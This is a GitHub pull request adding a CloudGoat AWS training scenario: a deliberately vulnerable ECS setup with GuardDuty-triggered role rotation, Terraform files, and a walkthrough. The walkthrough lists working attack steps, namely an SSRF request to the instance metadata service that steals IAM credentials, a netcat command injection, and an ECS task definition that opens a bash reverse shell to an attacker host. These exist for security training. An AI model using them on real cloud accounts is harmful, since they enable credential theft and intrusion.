-
Notifications
You must be signed in to change notification settings - Fork 624
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Scenario | ecs_privesc_evade_protection #233
base: master
Are you sure you want to change the base?
Changes from 1 commit
a8a4468
e4442be
7af9730
a361539
22d8842
dfa19cc
63f7f2a
bc94bfc
1c121f7
c38018f
41a4730
caa3f79
49bdb81
cb5d2b8
8c01e74
daf3680
fe7156d
fbd6278
928ad74
f55b48d
01f4083
5c9cd5b
585b491
93c6496
6016473
8a9849d
f9c56e3
e99042f
941aa82
e712529
fafbf7f
0578065
60605db
e0d3bf1
13a9e96
b305d81
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
# Scenario: ecs_privesc_evade_protection | ||
|
||
--- | ||
|
||
**Size**: `please choose one.` | ||
|
||
**Difficulty**: `please choose one.` | ||
|
||
**Command**: `$ ./cloudgoat.py create guardduty_bypass_with_ecs` | ||
|
||
## Scenario Resources | ||
|
||
--- | ||
|
||
- 1 ECS with: | ||
- 1 * ASG with : | ||
- 1 * EC2 | ||
- 1 * Service (web container) | ||
- 2 * S3 (1 * scret, 1 * cloudtrail) | ||
- Detection Mechanisms | ||
- GuardDuty enabled | ||
- CloudWatch | ||
- CloudTrail | ||
- EventBridge | ||
- Lambda | ||
- SES | ||
|
||
## Scenario Start(s) | ||
|
||
--- | ||
|
||
Scenario starts as a web user. | ||
|
||
> **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error. | ||
|
||
## Scenario Goal(s) | ||
|
||
--- | ||
|
||
Read flag.txt in S3 with avoiding various defense techniques. | ||
|
||
## Summary | ||
|
||
--- | ||
|
||
There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string. | ||
|
||
## Email setup | ||
|
||
--- | ||
|
||
- If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start. | ||
- If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/. | ||
|
||
# SPOILER ALERT: There are spoilers for the scenario blew this point. | ||
|
||
--- | ||
|
||
## Exploitation Route | ||
|
||
--- | ||
|
||
![Scenario Route(s)](assets/diagram.png) | ||
|
||
## Scenario Walk-through | ||
|
||
--- | ||
|
||
- Attacker accesses the web service of a container inside EC2 managed by ECS. | ||
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials. | ||
- The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created. | ||
- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String and exits the scenario. | ||
|
||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Create a There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Once we have the size & difficulty, add you scenario to the main readme file. |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
cg-secret-bob12-gC9!+Xy#QJ37fa@H3D7Kd@2*a&#+Tp% | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Assets used by the scenario should be moved to under the terraform directory. Like done here |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,150 @@ | ||
import json | ||
import boto3 | ||
import os | ||
|
||
|
||
def lambda_handler(event, context): | ||
print("Event:", event) | ||
|
||
# Get information from environment variables | ||
user_email = os.environ['USER_EMAIL'] | ||
iam_role_1 = os.environ['IAM_ROLE_1'] | ||
iam_role_2 = os.environ['IAM_ROLE_2'] | ||
instance_profile_1 = os.environ['INSTANCE_PROFILE_1'] | ||
instance_profile_2 = os.environ['INSTANCE_PROFILE_2'] | ||
detector_id = os.environ['GUARDDUTY_DETECTOR_ID'] | ||
account_id = os.environ['ACCOUNT_ID'] | ||
|
||
# Extract the EC2 instance ID and the current assigned role name from the event | ||
instance_id = event['detail']['resource']['instanceDetails']['instanceId'] | ||
current_role_name = event['detail']['resource']['accessKeyDetails']['userName'] | ||
|
||
# Create boto3 clients | ||
iam = boto3.client('iam') | ||
ec2_client = boto3.client('ec2') | ||
ses = boto3.client('ses') | ||
guardduty = boto3.client('guardduty') | ||
|
||
# Determine the new role to be assigned | ||
if current_role_name == iam_role_1: | ||
new_role = iam_role_2 | ||
new_profile = instance_profile_2 | ||
old_role = iam_role_1 | ||
elif current_role_name == iam_role_2: | ||
new_role = iam_role_1 | ||
new_profile = instance_profile_1 | ||
old_role = iam_role_2 | ||
else: | ||
print("Current role does not match any in the env variables.") | ||
return | ||
|
||
try: | ||
# Copy IAM policies | ||
copy_role_policies(iam, old_role, new_role) | ||
|
||
# Change the role | ||
response = ec2_client.replace_iam_instance_profile_association( | ||
IamInstanceProfile={ | ||
'Arn': f'arn:aws:iam::{account_id}:instance-profile/{new_profile}', | ||
'Name': new_role | ||
}, | ||
AssociationId=get_association_id(ec2_client, instance_id) | ||
) | ||
print("Role has been successfully changed.\n" + str(response)) | ||
|
||
# Detach policies from the old role | ||
detach_role_policies(iam, old_role) | ||
except Exception as e: | ||
print("Error occurred while changing the role.\n" + str(e)) | ||
return | ||
|
||
# Send an email | ||
subject = "GuardDuty Alert: Unauthorized Access" | ||
body_text = "GuardDuty has detected unauthorized access. \n\n" + json.dumps(event, indent=4) | ||
ses.send_email( | ||
Source=user_email, | ||
Destination={'ToAddresses': [user_email]}, | ||
Message={ | ||
'Subject': {'Data': subject}, | ||
'Body': {'Text': {'Data': body_text}} | ||
} | ||
) | ||
print("Email sent successfully.") | ||
|
||
# Update the status of Findings | ||
try: | ||
# Dynamically retrieve findings | ||
findings = guardduty.list_findings(DetectorId=detector_id, MaxResults=10) | ||
findings_ids = findings.get('FindingIds', []) | ||
|
||
print("Findings: " + str(findings)) | ||
print("Findings IDs: " + str(findings_ids)) | ||
|
||
# Update the status of findings that meet the condition | ||
if findings_ids: | ||
guardduty.update_findings_feedback( | ||
DetectorId=detector_id, | ||
FindingIds=findings_ids, | ||
Feedback='USEFUL' | ||
) | ||
print("Findings status successfully updated.") | ||
except Exception as e: | ||
print("Failed to update findings status:", str(e)) | ||
|
||
return { | ||
'statusCode': 200, | ||
'body': 'Processed successfully!' | ||
} | ||
|
||
|
||
def get_association_id(ec2_client, instance_id): | ||
# Function to get the current IAM instance profile association ID for the instance | ||
response = ec2_client.describe_iam_instance_profile_associations( | ||
Filters=[{'Name': 'instance-id', 'Values': [instance_id]}]) | ||
associations = response.get('IamInstanceProfileAssociations', []) | ||
for association in associations: | ||
if association['State'] in ['associated', 'associating']: | ||
return association['AssociationId'] | ||
return None | ||
|
||
|
||
def copy_role_policies(iam, source_role, destination_role): | ||
# Copy managed policies | ||
managed_policies = iam.list_attached_role_policies(RoleName=source_role)['AttachedPolicies'] | ||
for policy in managed_policies: | ||
iam.attach_role_policy( | ||
RoleName=destination_role, | ||
PolicyArn=policy['PolicyArn'] | ||
) | ||
|
||
# Copy inline policies | ||
inline_policies = iam.list_role_policies(RoleName=source_role)['PolicyNames'] | ||
for policy_name in inline_policies: | ||
policy_document = iam.get_role_policy(RoleName=source_role, PolicyName=policy_name)['PolicyDocument'] | ||
iam.put_role_policy( | ||
RoleName=destination_role, | ||
PolicyName=policy_name, | ||
PolicyDocument=json.dumps(policy_document) | ||
) | ||
|
||
print(f"Policies from {source_role} have been copied to {destination_role}.") | ||
|
||
|
||
def detach_role_policies(iam, role_name): | ||
# Detach managed policies | ||
managed_policies = iam.list_attached_role_policies(RoleName=role_name)['AttachedPolicies'] | ||
for policy in managed_policies: | ||
iam.detach_role_policy( | ||
RoleName=role_name, | ||
PolicyArn=policy['PolicyArn'] | ||
) | ||
|
||
# Remove inline policies | ||
inline_policies = iam.list_role_policies(RoleName=role_name)['PolicyNames'] | ||
for policy_name in inline_policies: | ||
iam.delete_role_policy( | ||
RoleName=role_name, | ||
PolicyName=policy_name | ||
) | ||
|
||
print(f"All policies have been detached from {role_name}.") |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
|
||
Go to `http://<ec2_ip_address>` | ||
|
||
### SSRF | ||
|
||
``` | ||
http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role> | ||
aws configure --profile attacker | ||
echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials`echo "aws_session_token = <token>" >> ~/.aws/credentials | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Should there be this many echo commands? |
||
``` | ||
|
||
### Command Injection | ||
|
||
- prepare another host for revshell attack with `nc -lvp 4000` | ||
- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &` | ||
|
||
### For more information | ||
|
||
- more information about iam | ||
|
||
``` | ||
aws sts get-caller-identity | ||
aws iam get-role --role-name <role> | ||
aws iam list-attached-role-policies --role-name <role> | ||
aws iam list-role-policies --role-name <role> | ||
aws iam get-role-policy --role-name <role> --policy-name <policy> | ||
aws iam list-roles | ||
``` | ||
|
||
- more information about ecs | ||
|
||
``` | ||
`aws ecs list-clusters` | ||
`aws ecs describe-clusters --clusters <cluster>` | ||
`aws ecs list-container-instances --cluster arn:aws:ecs:us-east-1:<aws_id>:cluster/<cluster>` | ||
``` | ||
|
||
### ECS Privesc | ||
|
||
* Attacker prepare revshell at other public ip point with `nc -lvp 4000`. | ||
|
||
* And now come back to CLI. | ||
|
||
``` | ||
# ECS Task definition with revshell command. | ||
aws ecs register-task-definition --family iam_exfiltration --task-role-arn arn:aws:iam::<userr_id>:role/<role> --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/4000 0>&1\\\"\"]}]" | ||
|
||
# For run-task, find available subnets. | ||
aws ec2 describe-subnets | ||
|
||
# Run task. | ||
aws ecs run-task --task-definition iam_exfiltration --cluster arn:aws:ecs:us-east-1:<user_id>:cluster/<cluster> --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"<subnet>\"]}}" | ||
``` | ||
After a few minutes, the revshell will be connected by container. | ||
Let's do it on revshell. | ||
|
||
### Access S3 | ||
|
||
``` | ||
apt-get update | ||
apt-get install awscli | ||
|
||
aws s3 ls | ||
aws s3 ls s3://<bucket-name>/ | ||
aws s3 cp s3://<bucket-name>/flag.txt . | ||
cat flag.txt | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
# Using CloudTrail for GuardDuty | ||
resource "aws_cloudtrail" "cloudtrail" { | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Add a depends on for the bucket policy |
||
name = "cg-cloudtrail-${var.cgid}" | ||
s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.id | ||
enable_logging = true | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
# Define a CloudWatch Event Rule to capture AWS GuardDuty findings | ||
resource "aws_cloudwatch_event_rule" "guardduty_events" { | ||
name = "cg-guardduty-events-${var.cgid}" | ||
event_pattern = jsonencode({ | ||
"source" : ["aws.guardduty"], | ||
"detail-type" : ["GuardDuty Finding"], | ||
"detail": { | ||
"type": [ | ||
"UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS", | ||
] | ||
} | ||
}) | ||
} | ||
|
||
# Create a target for the CloudWatch Event Rule to invoke a Lambda function | ||
resource "aws_cloudwatch_event_target" "ecs_event_target" { | ||
rule = aws_cloudwatch_event_rule.guardduty_events.name | ||
arn = aws_lambda_function.guardduty_lambda.arn | ||
} | ||
|
||
# Enable AWS GuardDuty for threat detection and continuous monitoring | ||
# Note : The GuardDuty in the user account must be completely disabled to function normally. | ||
resource "aws_guardduty_detector" "detector" { | ||
enable = true | ||
} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could you make a note that this scenario needs docker to run